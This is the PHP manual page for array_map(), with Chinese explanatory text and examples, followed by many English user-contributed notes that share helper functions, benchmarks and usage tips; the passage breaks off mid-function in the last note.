(
    [0] => Array
        (
            [1] => uno
        )

    [1] => Array
        (
            [2] => dos
        )

    [2] => Array
        (
            [3] => tres
        )

    [3] => Array
        (
            [4] => cuatro
        )

    [4] => Array
        (
            [5] => cinco
        )

)

传入两个及以上的数组时，它们元素数量将会相同。因为回调函数会并行地处理相互对应的元素。 如果几个数组的元素数量不一致：空元素会扩展短那个数组，直到长度和最长的数组一样。

此函数有个有趣的用法：传入 NULL 作为回调函数的名称，将创建多维数组（一个数组，内部包含数组。）

Example #4 多维数组：创建数组，内部包含数组

<?php
$a = array(1, 2, 3, 4, 5);
$b = array("one", "two", "three", "four", "five");
$c = array("uno", "dos", "tres", "cuatro", "cinco");

$d = array_map(null, $a, $b, $c);
print_r($d);
?>

以上例程会输出：

Array
(
    [0] => Array
        (
            [0] => 1
            [1] => one
            [2] => uno
        )

    [1] => Array
        (
            [0] => 2
            [1] => two
            [2] => dos
        )

    [2] => Array
        (
            [0] => 3
            [1] => three
            [2] => tres
        )

    [3] => Array
        (
            [0] => 4
            [1] => four
            [2] => cuatro
        )

    [4] => Array
        (
            [0] => 5
            [1] => five
            [2] => cinco
        )

)

如果仅传入一个数组，键（key）会保留；传入多个数组，键（key）是整型数字的序列。

Example #5 array_map() 键（key）是 string

<?php
$arr = array("stringkey" => "value");
function cb1($a) {
    return array ($a);
}
function cb2($a, $b) {
    return array ($a, $b);
}
var_dump(array_map("cb1", $arr));
var_dump(array_map("cb2", $arr, $arr));
var_dump(array_map(null,  $arr));
var_dump(array_map(null, $arr, $arr));
?>

以上例程会输出：

array(1) {
  ["stringkey"]=>
  array(1) {
    [0]=>
    string(5) "value"
  }
}
array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(5) "value"
    [1]=>
    string(5) "value"
  }
}
array(1) {
  ["stringkey"]=>
  string(5) "value"
}
array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(5) "value"
    [1]=>
    string(5) "value"
  }
}

参见

  • array_filter() - 用回调函数过滤数组中的单元
  • array_reduce() - 用回调函数迭代地将数组简化为单一的值
  • array_walk() - 使用用户自定义函数对数组中的每个元素做回调处理
  • callback 类型的信息

User Contributed Notes

amolocaleb at gmail dot com 15-Apr-2019 06:11
Simple obvious thing to keep in mind:
the number of arrays passed as arguments to an array_map() function should correspond to the number of parameters defined in the callback otherwise,say if you write a function with n parameters and supply m arrays to the array_map  such that m>n,array_map() ignores params at n+1 onwards. but no error or notice is issued. Of course supplying fewer arguments than declared in the function declaration throws an
ArgumentCountError
aarwang at gmail dot com 20-Dec-2018 07:16
please notice if a class not found, you may pass the class name with namespace

<?php
namespace Demo
class A{
  public static method hi(){}
}
?>

you should call like this

<?php
 array_map('Demo\A::hi', [])
?>
devsmt at someGdomain dot com 27-Sep-2017 01:46
At the current time there is no way in php to map both keys and values, but the impementation is pretty simple:
<?php
// array_map()  that works with both keys and values
function array_map_keys(array $a1, \Closure $f_k_mapper = null, \Closure $f_v_mapper = null):array {
    $f_k_mapper = $f_k_mapper ?? function ($s) {return $s;};
    $f_v_mapper = $f_v_mapper ?? function ($s) {return $s;};
    $a2 = [];
    foreach ($a1 as $k1 => $v) {
        $a2[$f_k_mapper($k1)] = $f_v_mapper($v);
    }
    return $a2;
}
?>
lewiscowles at me dot com 25-Jan-2017 11:37
The words "is an immutable implementation" are missing...

Essentially the collection you send in can be sent to the same var you operate after map has completed, thus explicitly overwriting, but importantly the input array is not modified, so the method is (as it should be) immutable. This means if you send in `$array1` and assign result to `$array2`, you'll still have `$array1` as it was prior to the map function call.

This is entirely separate from foreach modification semantics where mostly I've seen a mix of immutable (assigning to a new object) and mutable (using key and array to update in-place `$arrayinput[$key] = doSomethingWith($value)`.

This is not a comment on the internal workings but has been tested on 5.4, 5.6, 7.0 and 7.1
ET 13-Dec-2016 04:21
If you need to map both the keys AND the values of an array (be it associative or not) you can use a function like this:

<?php
function array_map_assoc($callback, $arr) {
   $remapped = array();

   foreach($arr as $k => $v)
      $remapped += $callback($k, $v);

   return $remapped;
}
?>

For example:

<?php
$arr = array(
   'cat' => 'tom',
   'mouse' => 'jerry'
);

$newArr = array_map_assoc(function($k, $v) {
   return array(
      'another_' . $k => $v . '\'s clone'
   );
}, $arr);

print_r($newArr);
?>

The example above will output:
<?php
Array
(
    [another_cat] => tom's clone
    [another_mouse] => jerry's clone
)
?>

You can even use it with non associative arrays, for example to shift the indexes while changing the values:
<?php
$arr = array(
   0 => 'tom',
   1 => 'jerry'
);

$newArr = array_map_assoc(function($k, $v) {
   return array(
      ($k + 10) => $v . '\'s clone'
   );
}, $arr);

print_r($newArr);

Array
(
    [10] => tom's clone
    [11] => jerry's clone
)
?>
mcmurphy510 at gmail dot com 19-May-2016 03:43
If you are using Namespaces, the array_map callback expects the Fully Qualified NameSpace to be used.

For example, this won't work:
<?php
namespace Test;
function mapping_function($var)  {
    ...
}
array_map('mapping_function', $array);  //won't find 'mapping_function' here.
?>

This, however, will work:
<?php
namespace Test;
function mapping_function($var)  {
    ...
}
array_map('Test\mapping_function', $array);  //using FQNS.
?>
shabeerksbr at hotmail dot com 22-Oct-2015 07:50
Array
(
    [result] => Array
        (
            [0] => Array
                (
                    [child] => Array
                        (
                            [5629378c2bad8cac1900002a] => Array
                                (
                                    [_id] => MongoId Object
                                        (
                                            [$id] => 5629378c2bad8cac19000029
                                        )

                                    [name] => Category 1
                                    [hasChild] => 0
                                )

                            [562937c02bad8ca41900002a] => Array
                                (
                                    [_id] => MongoId Object
                                        (
                                            [$id] => 562937c02bad8ca419000029
                                        )

                                    [name] => Category 1
                                    [hasChild] => 0
                                )

                            [562937dd2bad8c9c1900002b] => Array
                                (
                                    [_id] => MongoId Object
                                        (
                                            [$id] => 562937dd2bad8c9c1900002a
                                        )

                                    [name] => Category 1
                                    [hasChild] => 0
                                )

                        )

                )

        )

    [ok] => 1
)

Trim above code neatly using
print_r(array_map(null, $result['result'][0]['child']));

Array
(
    [5629378c2bad8cac1900002a] => Array
        (
            [_id] => MongoId Object
                (
                    [$id] => 5629378c2bad8cac19000029
                )

            [name] => Category 1
            [hasChild] => 0
        )

    [562937c02bad8ca41900002a] => Array
        (
            [_id] => MongoId Object
                (
                    [$id] => 562937c02bad8ca419000029
                )

            [name] => Category 1
            [hasChild] => 0
        )

    [562937dd2bad8c9c1900002b] => Array
        (
            [_id] => MongoId Object
                (
                    [$id] => 562937dd2bad8c9c1900002a
                )

            [name] => Category 1
            [hasChild] => 0
        )

)
Mahn 20-Oct-2015 05:10
You may be looking for a method to extract values of a multidimensional array on a conditional basis (i.e. a mixture between array_map and array_filter) other than a for/foreach loop. If so, you can take advantage of the fact that 1) the callback method on array_map returns null if no explicit return value is specified (as with everything else) and 2) array_filter with no arguments removes falsy values.

So for example, provided you have:

<?php
$data = [
    [
        "name" => "John",
        "smoker" => false
    ],
    [
        "name" => "Mary",
        "smoker" => true
    ],
    [
        "name" => "Peter",
        "smoker" => false
    ],
    [
        "name" => "Tony",
        "smoker" => true
    ]
];
?>

You can extract the names of all the non-smokers with the following one-liner:

<?php
$names = array_filter(array_map(function($n) { if(!$n['smoker']) return $n['name']; }, $data));
?>

It's not necessarily better than a for/foreach loop, but the occasional one-liner for trivial tasks can help keep your code cleaner.
info at katoba dot de 02-Oct-2015 12:08
Maybe usefull: replace a string in all array-elements
<?php
$hayStack = ["Book :id","Car :id","Cat :id"];

$replaced = array_map(function($element) use ($replace){
            return str_replace(":id",$replace,$element);
        },$hayStack);

print_r($replaced);

?>
nelf86 at gmail dot com 13-Aug-2015 11:10
Here is how to perform an operation on some of the elements of an array:

<?php
$an_array = array(
    'item1' => 0,
    'item2' => 0,
    'item3' => 0,
    'item4' => 0,
    'item5' => 0,
);

$items_to_modify = array('item1', "item3");

 array_map(function ($value) use (&$an_array ) {
     $an_array [$value] = (boolean)$an_array [$value];   //example operation:
 }, $items_to_modify);

?>

This will take the original array and perform an action only on items specified on the second array items. Use of & symbol in the use statement makes the array_map access the variable as a reference in an outer scope.

This makes code easily extendable.
CertaiN 24-Mar-2015 05:15
Simplest array_map_recursive() implemention.

<?php
function array_map_recursive(callable $func, array $array) {
    return filter_var($array, \FILTER_CALLBACK, ['options' => $func]);
}
?>
mark at grooveshark dot com 20-Jan-2015 04:44
If you're looking for a way to get a specific set of key values (ala "pluck") you can just use array_column([['id' => 1]], 'id').
wapinet at mail dot ru 15-Jul-2014 01:54
PHP 5.5.14
<?php
$columns = range(1, 100000);
$time = microtime(true);

/*
0.067003011703491 sec
24903680 byte
 */
array_map(function ($value) {
    return 'p.' . $value;
}, $columns);

/*
0.042001962661743 sec
19398656 byte
 */
foreach ($columns as $key => $column) {
    $columns[$key] = 'p.' . $column;
}

/*
0.05500316619873 sec
10747904 byte
 */
array_walk($columns, function (&$value, $key) {
    $value = 'p.' . $value;
});

/*
0.0260009765625 sec
10747904 byte
 */
foreach ($columns as &$column) {
    $column = 'p.' . $column;
}

echo microtime(true) - $time . "\n" . memory_get_peak_usage(true) . "\n";
JacobA dot Barber at yahoo dot com 07-May-2014 04:27
Here is an example for php 5.4 and greater, using a closure:
<?php
$myList = [1,2,3,4];

$mappedList = array_map(function($value){
    return $value * 2;
}, $myList);

var_dump($mappedList);

array(4) {
  [0]=>int(2)
  [1]=>int(4)
  [2]=>int(6)
  [3]=>int(8)
}
?>
This is useful when you don't want/need to define a function just so it can be used with the map function.
ian_channing at hotmail dot com 12-Feb-2014 11:10
I wanted a nice way to convert an array with x values as keys and y values as values e.g. array(x => y,...) into x,y co-ordinates e.g. array(array(x,y), ...).

You can do:

<?php
foreach ($waveform as $key => $waveformPoint) {
    $coordinates[] = array($key, $waveformPoint);
}
?>

But array_map with a null callback gives you a nicer way:

<?php
$coordinates = array_map(null, array_keys($waveform), array_values($waveform));
?>
williamprogphp at yahoo dot com dot br 31-Jan-2014 12:54
A function to map an array working also with its key.

<?php
    function array_mapk($callback, $array) {
        $newArray = array();
        foreach ($array as $k => $v) {
            $newArray[$k] = call_user_func($callback, $k, $v);
        }
        return $newArray;
    }
?>

Usage:

<?php
    $dados = array();
    $dados['cep'] = "32340-070";
    $dados['initial'] = 100;
    $dados['final'] = 300;
    $dados['processed'] = 1;

    echo "update table set " . implode(", ", array_mapk(function ($k, $v) { return "{$k} = '" . mysql_real_escape_string($v) . "'"; }, $dados));
?>

Cheers.
elfe1021 at gmail dot com 13-Dec-2013 02:44
Find an interesting thing that in array_map's callable function, late static binding does not work:
<?php
class A {
    public static function foo($name) {
        return 'In A: '.$name;
    }

    public static function test($names) {
        return array_map(function($n) {return static::foo($n);}, $names);
    }
}

class B extends A{
    public static function foo($name) {
        return 'In B: '.$name;
    }
}

$result = B::test(['alice', 'bob']);
var_dump($result);
?>

the result is:
array (size=2)
  0 => string 'In A: alice' (length=11)
  1 => string 'In A: bob' (length=9)

if I change A::test to
<?php
    public static function test($names) {
        return array_map([get_called_class(), 'foo'], $names);
    }
?>

Then the result is as expected:
array (size=2)
  0 => string 'In B: alice' (length=11)
  1 => string 'In B: bob' (length=9)
lukasz dot mordawski at gmail dot com 03-Dec-2013 10:55
Let's assume we have following situation:

<?php
class MyFilterClass {
    public function filter(array $arr) {
        return array_map(function($value) {
            return $this->privateFilterMethod($value);
        });
    }

    private function privateFilterMethod($value) {
        if (is_numeric($value)) $value++;
        else $value .= '.';
    }
}
?>

This will work, because $this inside anonymous function (unlike for example javascript) is the instance of MyFilterClass inside which we called it.
I hope this would be useful for anyone.
CertaiN 22-Aug-2013 08:52
The most memory-efficient array_map_recursive().

<?php
function array_map_recursive(callable $func, array $arr) {
    array_walk_recursive($arr, function(&$v) use ($func) {
        $v = $func($v);
    });
    return $arr;
}
?>
contato at williamsantana dot com dot br 30-Jul-2013 12:42
In case of you need to recursively bypass a function over the itens of an array, you can use it

<?php
    function array_map_recursive($callback, $array) {
        foreach ($array as $key => $value) {
            if (is_array($array[$key])) {
                $array[$key] = array_map_recursive($callback, $array[$key]);
            }
            else {
                $array[$key] = call_user_func($callback, $array[$key]);
            }
        }
        return $array;
    }
?>

-----------------------------------------------------------------------

<?php
    $strings = array(
        'The',
        array(
            'quick',
            'fox',
            array(
                'brown',
                'jumps',
                array(
                    'over',
                    array(
                        'the',
                        array(
                            'lazy',
                            array(
                                'dog'
                            )
                        )
                    )
                )
            )
        )
    );

    print_r($strings);
    $hashedString = array_map_recursive('md5', $strings);
    print_r($hashedString);
?>

------------------------------------------------------------------------
Testing it, you'll obtain

<?php

/* Original array */

array (
  0 => 'The',
  1 =>
  array (
    0 => 'quick',
    1 => 'fox',
    2 =>
    array (
      0 => 'brown',
      1 => 'jumps',
      2 =>
      array (
        0 => 'over',
        1 =>
        array (
          0 => 'the',
          1 =>
          array (
            0 => 'lazy',
            1 =>
            array (
              0 => 'dog',
            ),
          ),
        ),
      ),
    ),
  ),
);

/* Recursived array */
array (
  0 => 'a4704fd35f0308287f2937ba3eccf5fe',
  1 =>
  array (
    0 => '1df3746a4728276afdc24f828186f73a',
    1 => '2b95d1f09b8b66c5c43622a4d9ec9a04',
    2 =>
    array (
      0 => '6ff47afa5dc7daa42cc705a03fca8a9b',
      1 => '55947829059f255e4ba2f536a2ae99fe',
      2 =>
      array (
        0 => '3b759a9ca80234563d87672350659b2b',
        1 =>
        array (
          0 => '8fc42c6ddf9966db3b09e84365034357',
          1 =>
          array (
            0 => '0ffe34b4e04c2b282c5a388b1ad8aa7a',
            1 =>
            array (
              0 => '06d80eb0c50b49a509b49f2424e8c805',
            ),
          ),
        ),
      ),
    ),
  ),
);

?>

Hope it helps you.

Cheers.
jessiedeer at hotmail dot com 16-Jul-2013 10:34
array_map becomes interesting and faster than foreach when used with existing PHP functions.

Example:

$arr1 = array(1, 2, 3, 4);
$arr2 = array(4, 3, 2, 1);

// array with min values for each key
print_r(array_map("min", $arr1, $arr2));

Result: Array ( [0] => 1 [1] => 2 [2] => 2 [3] => 1 )

// array with max values for each key
print_r(array_map("max", $arr1, $arr2));

Result: Array ( [0] => 4 [1] => 3 [2] => 3 [3] => 4 )
jessiedeer at hotmail dot com 16-Jul-2013 10:27
array_map becomes interesting and faster than foreach when used with existing PHP functions.

Example:

$arr1 = array(1, 2, 3, 4);
$arr2 = array(4, 3, 2, 1);

// array with min values for each key
print_r(array_map("min", $arr1, $arr2));

Result: Array ( [0] => 1 [1] => 2 [2] => 2 [3] => 1 )

// array with max values for each key
print_r(array_map("max", $arr1, $arr2));

Result: Array ( [0] => 4 [1] => 3 [2] => 3 [3] => 4 )
Anonymous 06-Jul-2013 01:21
Simple yet effective associative version of map that accepts arbitrary number of arrays.
Instead of elements, result from each() get passed as function arguments.

<?php
function array_map_assoc(){
    if(func_num_args() < 2) throw new \BadFuncionCallException('Missing parameters');
    $args = func_get_args();
    $callback = $args[0];
    if(!is_callable($callback)) throw new \InvalidArgumentException('First parameter musst be callable');
    $arrays = array_slice($args, 1);
    array_walk($arrays, function(&$a){
        $a = (array)$a;
        reset($a);
    });
    $results = array();
    $max_length = max(array_map('count', $arrays));
    $arrays = array_map(function($pole) use ($max_length){
        return array_pad($pole, $max_length, null);
    }, $arrays);
    for($i=0; $i < $max_length; $i++){
        $elements = array();
        foreach($arrays as &$v){
            $elements[] = each($v);
        }
        unset($v);
        $out = call_user_func_array($callback, $elements);
        if($out === null) continue;
        $val = isset($out[1]) ? $out[1] : null;
        if(isset($out[0])){
            $results[$out[0]] = $val;
        }else{
            $results[] = $val;
        }
    }
    return $results;
}

//USAGE:
$days = array('Sun' => 'Sunday', 'Mon' => 'Monday', 'Tue' => 'Tuesday', 'Wed' => 'Wednesday', 'Thu' => 'Thursday', 'Fri' => 'Friday', 'Sat' => 'Saturday');
$nums = array('First', 'Second', 'Third', 'Fourth', 'Fifth', 'Sixth', 'Seventh');

$result = array_map_assoc(function($a, $b){
    return array($b['value'], $a['key']);
}, $days, $nums);

var_dump($result);

//RESULT:
array (size=7)
  'First' => string 'Sun' (length=3)
  'Second' => string 'Mon' (length=3)
  'Third' => string 'Tue' (length=3)
  'Fourth' => string 'Wed' (length=3)
  'Fifth' => string 'Thu' (length=3)
  'Sixth' => string 'Fri' (length=3)
  'Seventh' => string 'Sat' (length=3)
hrvoj3e at gmail dot com 30-Apr-2013 02:38
Why not use

mb_convert_case($str, MB_CASE_TITLE, "UTF-8");

Works for me! :)
James 15-Mar-2013 05:07
array_map() can be applied to assoc arrays without affecting the keys
shakespeare32 at gmail dot com 19-Feb-2013 07:01
Why not an array of callbacks?

<?php
function array_maps($callbacks, $array) {
    if (!$callbacks) { return $array; }

    if (!is_array($callbacks) && is_string($callbacks) && function_exists($callbacks)) {
        return array_map($callbacks, $array);
    }

    foreach($callbacks as $callback) {
        if (function_exists($callback)) {
        $array = array_map($callback, $array);
        }
    }

    return $array;
}
?>
godek dot maciek at gmail dot com 19-Apr-2012 07:01
I came up with a convenient syntax for method application, particularly useful inside the array_map.
For instance, if you want to
array_map(function($object, $arg1) { return $object->method($arg1, "arg2"); }, $objects, $args1);

it is possible to provide a shorthand:
global $_; // necessary inside a function, unfortunately

array_map($_->method($_, "arg2"), $objects, $args1);

Here's the implementation (works with 5.3)

function m_caller($method) {
  $args = func_get_args();
  array_shift($args);
  return function($object) use($method, $args) {
    global $_;
    $local_args = func_get_args();
    array_shift($args);
    if(!is_object($object)) {
      // error
    }
    $reflection = new ReflectionMethod(get_class($object), $method);
    foreach($args as $key => $arg) {
      if($arg === $_) {
        $args[$key] = array_shift($local_args);
      }
    }
    return $reflection->invokeArgs($object, array_merge($args, $local_args));
  };
}

class MethodCaller {
  public function __call($name, $arguments) { return call_user_func_array('m_caller', array_merge(array($name), $arguments)); }
  public function __get($name) { return m_caller($name); }
};

$_ = new MethodCaller();
qeremy 07-Mar-2012 10:35
An alternative for recursive mapping;

<?php
function array_map_recursive($fn, $arr) {
    $rarr = array();
    foreach ($arr as $k => $v) {
        $rarr[$k] = is_array($v)
            ? array_map_recursive($fn, $v)
            : $fn($v); // or call_user_func($fn, $v)
    }
    return $rarr;
}

function sqr($x) {
    return "$x ^ 2 = ". ($x * $x);
}

$a = array(1, 2, 3, array(4, array(5)));
$b = array_map_recursive("sqr", $a);
print_r($b);
?>

Array
(
    [0] => 1 ^ 2 = 1
    [1] => 2 ^ 2 = 4
    [2] => 3 ^ 2 = 9
    [3] => Array
        (
            [0] => 4 ^ 2 = 16
            [1] => Array
                (
                    [0] => 5 ^ 2 = 25
                )

        )

)
gmail.com@mspreij 26-Feb-2012 10:48
Hope I'm not late to the party, here's my function to apply array_map to the *keys* of an array.
Extra array arguments will be used for the callback function's parameters just like with array_map, with the difference that a string is also allowed: it will just be used to create an array of appropriate length with as each value that string. Arrays are left alone (and will be padded with nulls by array_map as needed).

<?php

//_________________________________________________
// array_map_keys($callback, $array, [$args, ..]) /
function array_map_keys($callback, $array /* [, $args ..] */) {
  $args = func_get_args();
  if (! is_callable($callback)) trigger_error("first argument (callback) is not a valid function", E_USER_ERROR);
  if (! is_array($array)) trigger_error("second argument must be an array", E_USER_ERROR);
  $args[1] = array_keys($array);
  // If any additional arguments are not arrays, assume that value is wanted for every $array item.
  // array_map() will pad shorter arrays with Null values
  for ($i=2; $i < count($args); $i++) {
    if (! is_array($args[$i])) {
      $args[$i] = array_fill(0, count($array), $args[$i]);
    }
  }
  return array_combine(call_user_func_array('array_map', $args), $array);
}

// Some examples:

$arr = array('foo'=>123, 'bar'=>456);

// simply uppercase keys:
var_dump(array_map_keys('strtoupper', $arr));
// or..
var_dump(array_map_keys(function($input) {return strtoupper($input);}, $arr));
// >> array(2) { ["FOO"]=>int(123) , ["BAR"]=> int(456) }

// Add a prefix 'myvar_':
var_dump(array_map_keys(function($input, $prefix) {return $prefix.$input;}, $arr, 'myvar_'));
// >> array(2) { ["myvar_foo"]=>int(123) , ["myvar_bar"]=>int(456) }

// Apart from the (static string) prefix, we also number them:
$arr = array('foo'=>123, 'bar'=>456, 'bazz'=>789, 'yadda'=>'0AB');
var_dump(array_map_keys(function($input, $middle, $number) {return $number.':'.$middle.$input;}, $arr, 'myvar_', range(1, count($arr))));
// >> array(4) { ["1:myvar_foo"]=>int(123) , ["2:myvar_bar"]=>int(456) , ["3:myvar_bazz"]=>int(789) , ["4:myvar_yadda"]=>string(3) "0AB" }

?>
php/hotblocks/nl 28-Nov-2011 05:00
Note that the $arr argument has to be an array, not just a Traversable/Iterator.

For instance this won't work:

<?php

$documents = $mongo->db->collection->find();
// $documents is Traversable by foreach

$ids = array_map(function($document) {
  return $document['_id'];
}, $objects);
// $ids will now be NULL, because $documents wasn't an Array

?>

A solution is to first use iterator_to_array():

<?php

$ids = array_map(function($document) {
  return $document['_id'];
}, iterator_to_array($objects));
// $ids will now be an array of ['_id']s

?>

But this is not very efficient: two cycles instead of one. Another solution is to use foreach: one cycle and a lot of freedom (and in the same scope).
gordon dot mcvey at ntlworld dot com 28-Jan-2011 05:11
You can use array_map with PHP native functions as well as user functions.  This is very handy if you need to sanitize arrays.

<?php

$integers = array_map ('intval', $integers);
$safeStrings = array_map ('mysql_real_escape_string', $unsafeStrings);

?>
virtual dot greg at gmail dot com 05-Mar-2010 03:07
PHP 5.3 enables us to use inline anonymous functions with array_map, cleaning up the syntax slightly.

<?php
$data = array(
        array('id' => 1, 'name' => 'Bob', 'position' => 'Clerk'),
        array('id' => 2, 'name' => 'Alan', 'position' => 'Manager'),
        array('id' => 3, 'name' => 'James', 'position' => 'Director')
);

$names = array_map(
        function($person) { return $person['name']; },
        $data
);

print_r($names);
?>

This was possible (although not recommended) in prior versions of PHP 5, via create_function().

<?php
$names = array_map(
        create_function('$person', 'return $person["name"];'),
        $data
);
?>

You're less likely to catch errors in the latter version because the code is passed as string arguments.

These are alternatives to using a foreach:

<?php
$names = array();

foreach ($data as $row) {
        $names[] = $row['name'];
}
?>
kelly m 17-Feb-2010 02:28
I realize this function is easy enough to make, but this is a faster version (twice the speed) of [a function] which I find incredibly useful.

<?php
function array_pluck($key, $input) {
    if (is_array($key) || !is_array($input)) return array();
    $array = array();
    foreach($input as $v) {
        if(array_key_exists($key, $v)) $array[]=$v[$key];
    }
    return $array;
}
?>

Usage:

<?php $ids = array_pluck('id', $users); ?>
onassar at gmail dot com 13-Oct-2009 07:06
Fixed a bug with array recursion.

<?php
        /**
         * arrayMap function. Customized array_map function which preserves keys/associate array indexes. Note that this costs a descent amount more memory (eg. 1.5k per call)
         *
         * @access public
         * @param callback $callback Callback function to run for each element in each array.
         * @param mixed $arr1 An array to run through the callback function.
         * @param array $array Variable list of array arugments to run through the callback function.
         * @return array Array containing all the elements of $arr1 after applying the callback function to each one, recursively, maintain keys.
         */
        function arrayMap($callback,$arr1) {
            $results       =    array();
            $args          =    array();
            if(func_num_args()>2)
                $args          =    (array) array_shift(array_slice(func_get_args(),2));
            foreach($arr1 as $key=>$value) {
                $temp    =    $args;
                array_unshift($temp,$value);
                if(is_array($value)) {
                    array_unshift($temp,$callback);
                    $results[$key]    =    call_user_func_array(array('self','arrayMap'),$temp);
                } else {
                    $results[$key]    =    call_user_func_array($callback,$temp);
                }
            }
            return $results;
        }
?>
onassar at gmail dot com 11-Oct-2009 03:33
Wrote up my own key preservation function for array mapping. It allows n arguments to be passed, and should be easy enough to follow if you need to make any mods. If you've got any thoughts let me know.

<?php
        /**
         * arrayMap function. Customized array_map function which preserves keys/associate array indexes.
         *
         * @access public
         * @param callback $callback Callback function to run for each element in each array.
         * @param mixed $arr1 An array to run through the callback function.
         * @param array $array Variable list of array arugments to run through the callback function.
         * @return array Array containing all the elements of $arr1 after applying the callback function to each one, recursively, maintain keys.
         */
        function arrayMap($callback,$arr1) {
            $results       =    array();
            $args          =    array();
            if(func_num_args()>2)
                $args          =    (array) array_shift(array_slice(func_get_args(),2));
            foreach($arr1 as $key=>$value) {
                if(is_array($value)) {
                    array_unshift($args,$value);
                    array_unshift($args,$callback);
                    $results[$key]    =    call_user_func_array(array('self','arrayMap'),$args);
                }
                else {
                    array_unshift($args,$value);
                    $results[$key]    =    call_user_func_array($callback,$args);
                }
            }
            return $results;
        }
?>
galenjr at gmail dot com 14-Jun-2009 11:19
Another way to array_map htmlentities with a specific quote style is to create a function that does it and map that function

<?php

function map_entities( $str ) {
    return htmlentities( $str, ENT_QUOTES );
}
$good_array = array_map ( 'map_entities', $bad_array );

?>
radist-hack at yandex dot ru 01-Nov-2008 01:37
To transpose rectangular two-dimension array, use the following code:

array_unshift($array, null);
$array = call_user_func_array("array_map", $array);

If you need to rotate rectangular two-dimension array on 90 degree, add the following line before or after (depending on the rotation direction you need) the code above:
$array = array_reverse($array);

Here is example:

<?php
$a = array(
  array(1, 2, 3),
  array(4, 5, 6));
array_unshift($a, null);
$a = call_user_func_array("array_map", $a);
print_r($a);
?>

Output:

Array
(
    [0] => Array
        (
            [0] => 1
            [1] => 4
        )

    [1] => Array
        (
            [0] => 2
            [1] => 5
        )

    [2] => Array
        (
            [0] => 3
            [1] => 6
        )

)
Heero 16-Oct-2008 10:02
You can easily remove all HTML tags from $_GET or $_POST variables using something like this:

<?php

$_POST = array_map('strip_tags', $_POST);
$_GET = array_map('strip_tags', $_GET);

?>

This is useful when you don't want to parse HTML.
stijnleenknegt at gmail dot com 22-Jul-2008 04:17
If you want to pass an argument like ENT_QUOTES to htmlentities, you can do the follow.

<?php
$array = array_map( 'htmlentities' , $array, array_fill(0 , count($array) , ENT_QUOTES) );
?>

The third argument creates an equal sized array of $array filled with the parameter you want to give with your callback function.
GUI 26-Jun-2008 07:48
The following takes an array of objects, and returns the result of calling a member function on each object. So if I have an array of objects that all have a getName() method, calling array_map_objects("getName", $thingies) will return the array filled with the getName() value for each object.

<?php
function array_map_objects($member_function, $array) {
    $values = array();

    if(is_string($member_function) && is_array($array)) {
        $callback = create_function('$e', 'return call_user_func(array($e, "' . $member_function .'"));');
        $values = array_map($callback, $array);
    }

    return $values;
}
?>
moester at gmail dot com 02-Apr-2008 01:21
Wish this was built in.  Mimics Ruby and Prototype's array pluck function.  Returns specific key/column from an array of objects.

<?php
function array_pluck($key, $array)
{
    if (is_array($key) || !is_array($array)) return array();
    $funct = create_function('$e', 'return is_array($e) && array_key_exists("'.$key.'",$e) ? $e["'. $key .'"] : null;');
    return array_map($funct, $array);
}

// usage:

$a = array(array("id"=>10, "name"=>"joe"), array("id"=>11, "name"=>"bob"));

$ids = array_pluck("id", $a);        // == array(10,11)
$names = array_pluck("name", $a);    // == array("joe", "bob")

//works on non-keyed arrays also:

$a = array(array(3,4), array(5,6));
$col2 = array_pluck(1,$a);            // == array(4,6) (grab 2nd column of data)

?>
chreekat 12-Mar-2008 03:48
I was miffed that array_map didn't have a way to pass values *and* keys to the callback, but then I realized I could do this:

function callback($k, $v) { ... }

array_map( "callback", array_keys($array), $array);
jo at ho dot nl 17-Feb-2008 02:10
Could also use things like...

array_keys(); and array_values(); offcourse...

However it's just an example off recursion via this function..
Which I found pretty handy at times dealing with arrays..

could also use:

<?php
call_user_func(array($this, __FUNCTION), $args);
?>

or

<?php
call_user_fuc_array(array($this, __FUNCTION__), $array);
?>

or

<?php
class{

   public function __construct($arg){
       if(is_array($arg)){
            new self($arg);
       }
       else{
           echo $arg.'<br/>'.PHP_EOL;
       }
   }
}
?>

Anyway.. plenty off examples..
It was just an idea for others...
loaded67 at hotmail dot com 08-Feb-2008 02:59
this function is really nice for recursion in php!!!

example in a class:

<?php
class test{

    //private $container = array();

    final public function add($key, $value){
         /* recursion */
         if(is_array($value)){
               array_map(array($this, __FUNCTION__), array_keys($value), array_values($value));
         }
         /* procedural */
         else{
             echo $key.' => '.$value.'<br/>'.PHP_EOL;
             // do stuff...
             // if(!isset($this->container[$key])){
             //       $this->container[$key] = $value;
             // }
             //else{  // trigger_error() xor throw new Exception?
             //         echo 'allready exists!<br/>'.PHP_EOL;
             //}
         }
    }
}
//
$array = array (
                               'one'   => 'value1',
                               'two'   => 'value2',
                               'three' => 'value3'
                            );

$t = new test;
$t->add($array);
?>

you could easiely do this without a class too offcourse!
used in php 5.2.5
pmf 22-Jan-2008 07:02
This function behaves exactly like array_map but additionally does not reject non-array arguments. Instead, it transforms them with the array_fill function to a constant valued array of required length according to the other array arguments (if any) and executes the original array_map function.

<?php

function array_map2() {
    $args = func_get_args();

    $callback = array_shift($args);

    $args = array_map(
            create_function('$a,$max','return is_array($a)? $a: array_fill(0,$max,$a);'),
            $args,array_fill(0,count($args),array_reduce($args,
            create_function('$v,$w','return max($v,is_array($w)? count($w): 1);'))));

    array_unshift($args,$callback);

    return call_user_func_array("array_map",$args);
}

?>

Example:

<?php

$get = "first=value1&second=value2&third=value3";

print_r(array_map2("explode","=",explode("&",$get)));

?>

would print out:

<?php

Array
(
    [0] => Array
        (
            [0] => first
            [1] => value1
        )

    [1] => Array
        (
            [0] => second
            [1] => value2
        )

    [2] => Array
        (
            [0] => third
            [1] => value3
        )
)

?>

/pmf
henrique at webcoder dot com dot br 01-Nov-2007 08:02
Adding method support to function by Andref (multidimensionalArrayMap).

function array_map_r( $func, $arr )
{
    $newArr = array();

    foreach( $arr as $key => $value )
    {
        $newArr[ $key ] = ( is_array( $value ) ? array_map_r( $func, $value ) : ( is_array($func) ? call_user_func_array($func, $value) : $func( $value ) ) );
    }

    return $newArr;
}

array_map_r('function', array());
or
array_map_r(array('class', 'method'), array());
bturchik at iponweb dot net 19-Jul-2007 07:46
Maybe this one will be useful for someone:

function array_map_helper($mapper, $array) {
    $mapper = preg_replace('/^return (.*?);$/', '$1', trim($mapper));
    $result = array();
    if (preg_match('/(\(?)(.*?)\s*=>\s*(.*?)(\)?)$/', $mapper, $matches)) {
        list($full_found, $array_open, $left, $right, $array_close) = $matches;
        if ($array_open && $array_close) {
            $mapper = '$result[] = array' . $full_found . ';';
        } else {
